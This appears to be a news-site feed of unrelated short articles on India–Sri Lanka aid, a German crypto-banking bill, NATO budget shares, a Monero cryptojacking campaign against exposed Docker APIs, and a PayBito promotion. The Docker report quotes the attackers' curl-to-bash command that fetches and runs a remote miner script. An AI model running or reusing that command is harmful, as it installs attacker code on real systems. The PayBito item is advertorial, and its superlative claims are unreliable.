According to the latest reports, India has announced total financial assistance of 450 million USD to Sri Lanka. The move was officially announced on Friday, November 29, 2019, by India’s Prime Minister Narendra Modi.

The line of credit includes 50 million USD to help Sri Lanka fight terrorism. The remaining 400 million USD are set aside for development projects in the island nation, out of which the credit line of 100 million USD has been kept for solar projects, according to the reports.

The latest development is the result of the fruitful meeting held between Narendra Modi and Gotabaya Rajapaksa, the newly voted President of Sri Lanka. Rajapaksa is on a 3-day visit to India. He arrived in New Delhi on November 28, 2019, Thursday.

As per the reports, the talks were largely concentrated on issues such as accomplishing aspirations of Tamils in the island nation, addressing fishermen’s concerns, and ways to accelerate trade and security ties. Post the meeting, Modi told the media about India’s assurance of complete assistance to the Sri Lankan President so that his country can be taken on a road to rapid progress.

Earlier in April, Sri Lanka’s capital city Colombo witnessed a string of bombing attacks that killed more than 250 people.

In his statement, Modi also stated that he had a detailed discussion with Rajapaksa on strengthening their mutual cooperation when it comes to coping with terrorism. He also revealed that Sri Lanka’s police officials are receiving training to counter-terrorism in leading Indian institutions.

It is important to note that Sri Lanka has already constructed 46k houses under the Indian housing project and 14k are being built for people with Tamil origin.

Divulging further details on the Tamil issue, Modi expressed confidence in the government of Sri Lanka that they would continue the reconciliation procedure and satisfy the Tamil community’s aspirations. According to the PM, a stable Sri Lanka is in the interest of the whole region of the Indian Ocean and not just for India.

Modi was also quoted as saying,

“The mandate that you have received reflected the aspirations of the Sri Lankan people for a strong and prosperous Sri Lanka. India’s good wishes and cooperation are always with Sri Lanka in this regard.”

On the other hand, Rajapaksa also termed the talks as fruitful while saying that security cooperation remained the discussion’s prime focus area. He also stated,

“During my tenure as president, I want to bring the relationship between India and Sri Lanka to a very high level. We have a long-standing relationship historically as well as politically.”

For those who are unaware, Rajapaksa was sworn in on November 18, 2019, as the country’s President. The visit to India is his first foreign trip after taking over the island country’s reins in his hands.

A new bill proposed in the German Parliament has provisions to allow customers to store their Bitcoin other cryptocurrencies in German banks from 2020.

The bill will allow banks to treat cryptocurrency, just like any other traditional asset. Also, banks will enable transactions in cryptocurrency on their online banking platforms.

The adoption of cryptocurrency has increased over the years as people embrace its benefits like low cost and high-speed transactions. The problem of volatility of cryptocurrencies can be addressed by taking fiat currency out of the picture completely. If the manufacturer, seller, purchaser all use the same ecosystem for cryptocurrency transactions, then the need to check the price of Bitcoin against local currency will not exist. Banks have no option but to accept cryptocurrency if they want to stay relevant in the evolving financial world.

Sven Hildebrandt, Head of a consulting firm DLC, welcomed the move saying that Germany could play a pioneering role in the regulation of crypto-assets and could even become a crypto-heaven.

Banking Association BdB also backed the bill, saying that subjecting cryptocurrency to the same regulations as fiat currency would prevent money laundering and terrorist financing through cryptocurrency. As banks had experience in asset management, they would easily adapt to handling cryptocurrency.

Today’s criminals and terrorist organizations can transfer their ill-gotten wealth by converting it into digital currency, and at the receiver’s end, the digital currency is re-converted into fiat money. Cryptocurrency exchanges have implemented KYC norms for users, but many do not have the infrastructure to ensure the authenticity of documents submitted for fulfilling the KYC criteria. Banks have systems in place which will match each document submitted by a user with government data.

Banks also have access to the overall banking history of their customers. Thus, any customer who does not have a verifiable banking history comes in to deposit a large amount of cryptocurrency will raise red flags in banks. They also can check the authenticity and background of recipients of large international transfers as they have the technology to do so.

On the other hand, the bill has come under criticism from the Baden-Wuerttemberg consumer center. Financial expert Niels Nauhauser has said that banks and financial institutions have not completely understood how cryptocurrency works, and it may contaminate the other assets held in a client’s portfolio.

If banks allow storage of multiple cryptocurrencies, then there could be a problem as different cryptocurrencies are priced differently. For some, like bitcoin, the price is decided by the ratio of supply and demand, and in others, their value is tied to a physical asset like the US dollar, gold, etc. Check Bitcoin Price News to get the latest update of Bitcoin price.

If this bill is adopted, the next logical step would be to allow banks to offer financial products such as FDs, loans in Cryptocurrency.

Trump Administration is all set to cut its contribution to NATO’s budget substantially from next year. The move comes at a delicate time because the president is going to be in London to attend the 70th anniversary of the transatlantic alliance.

At this point, the US contributes 22% of the total NATO budget. Most of the money goes towards joint military operations, security investments, and maintenance of the NATO headquarters. That being said, it should be noted that the cut in contribution should not come as a major setback for NATO. It has a relatively tiny budget of $2.5 billion annually.

According to reports, the US is going to cut its contribution from 22% to 16%. The move is aimed at bringing its contribution in line with Germany, which contributes 14.8%, Europe’s biggest economy. However, it should be noted that the US has a larger economy than Germany.

A NATO official confirmed the development, He said,

“All Allies have agreed a new cost sharing formula. Under the new formula, cost shares attributed to most European Allies and Canada will go up, while the US share will come down.”

He went on to add that this development is an indication of fair “burden-sharing” among NATO allies.

Another diplomat from NATO confirmed that the new contribution structure had been agreed on last week. A US defense official stated that the money saved from cutting down NATO contribution is going to be used for military and security operations in Europe. He added that those operations are also going to take place in countries like Georgia and Ukraine that are not members of NATO either.

Cybersecurity firm Bad Packets LLC has found a group of hackers is actively scanning the internet for Docker accounts with exposed application programming interface endpoints (API) and use them for mining of the cryptocurrency Monero.

The hacker group is currently scanning more than 59,000 IP networks for API vulnerability.

Monero is a privacy coin, which means that it has enhanced features to protect the privacy of users carrying out transactions. The identities of senders and receivers, as well as the value of the transactions,  are obscured before being embedded on the blockchain. It is different from Bitcoin, where everyone on the network can see every transaction as well as public keys of persons carrying out the transaction. Unfortunately, the enhanced privacy features are attracting hackers whose identities are protected due to the privacy features of the network.

Troy Mursch, chief research officer and co-founder of Bad Packets, said,

“This isn’t your average script kiddie exploit attempt. There was a moderate level of effort put into this campaign.”

The hackers use exposed API endpoint to start an Alpine Linux OS container which runs the following command:

chroot /mnt /bin/sh -c ‘curl -sL4 http://ix.io/1XQa | bash;

The command will download and run a Bash script, which will install an XMRRig cryptocurrency miner for mining Monero.

The attack began two days ago, and hackers mined 14.82 Monero (XMR) worth about $740 at this time.

The malware installed in host with exposed APIs also uninstalls known monitoring agents and kills several processes. Thus, it eliminates processes and features which can potentially be used to eliminate it.

It also attacks the host’s rConfig configuration files. It encrypts the files and sends them to the hacker’s server.

Another cybersecurity firm Sandfly Security has found that the hackers have installed SSH keys in the infected hosts to allow them to control the hosts from a remote location.

In March this year, runC vulnerability was used to install Monero mining software in exposed Docker hosts.

Last month a worm called “Gradoid” affected more than 2,000 exposed Docker hosts.

Bad Packet’s Mursch has asked users of Docker to check whether their API endpoints are visible on the internet. If they are, the users should immediately close them.

Investing in forex, stocks and cryptocurrencies is a very tricky affair, as it might lead to gains and also incur losses. It is, therefore, advisable for traders to keep themselves abreast with the current market trend and daily forex signals before plunging into the bewildering world of forex and crypto.

PayBito, one of the USA’s top crypto exchanges, is all set to help new enterprises build their own exchange platforms through white-label software solutions. Both the startup and existing enterprises can build their own brand image by leveraging the software exchange experiences of PayBito.

PayBito exchange supports leading cryptocurrencies like Bitcoin, Ethereum, Bitcoin Cash, Litecoin, etc. These cryptocurrencies are registered with PayBito, thereby widening the opportunities for new enterprises to associate their brands with the leading cryptos that are reigning the finance market.

The white label software solutions aim at purchasing fiat currencies lie Euro and USDs, which are managed and maintained by professional experts having years of experience in blockchain technology, crypto trading, and banking security systems.

Besides providing the top-notch security for the cryptocurrencies, PayBito has a lot more to offer to the users, like attractive rates, which is possible because of the integration of white label software solutions with PayBito.

Talking about the success of PayBito within a very short period, PayBito’s CEO, Raj Chowdhury, said,

“Following the present trend, enterprises are looking for ways to be a part of the ongoing crypto revolution. However, most of them lack the resources needed to build an exchange platform. PayBito’s white-label software solution and support is a perfect fit for their needs. It allows enterprises to launch and run their trading and exchange platform, without going through the hassle of building one from scratch.”

With white label software solutions PayBito can assure the users the following robust benefits.

•  The white label software solutions support all major global fiat currencies, including Euro and USD.

• It has an encrypted hot wallet together with a multi-signature cold wallet.
• KYC and AML procedures are maintained innocuously for user compliance. The exchange users must provide their IDs to validate that they are not using others’ IDs.
• The white label software solutions come with a robust high-frequency compatible engine.
• Cryptocurrencies have the option to be added and removed for creating trading pairs as and when required.
• The solutions are compatible with Desktop, Web, Android, and iOS.
• The solutions abide by all the regulatory measures.

Moreover, PayBito is characterized by 4 layers of architectural topographies that take it to the top of the exchange platforms. It provides maximum security and reliability as far as the cryptocurrencies and blockchain are concerned. These 4 architectural topographies, namely blockchain database, primary database, Web, and Application, can provide some of the best cyber resilience solutions that are beyond the measure of even the top organizations. Click here to get the latest update on it.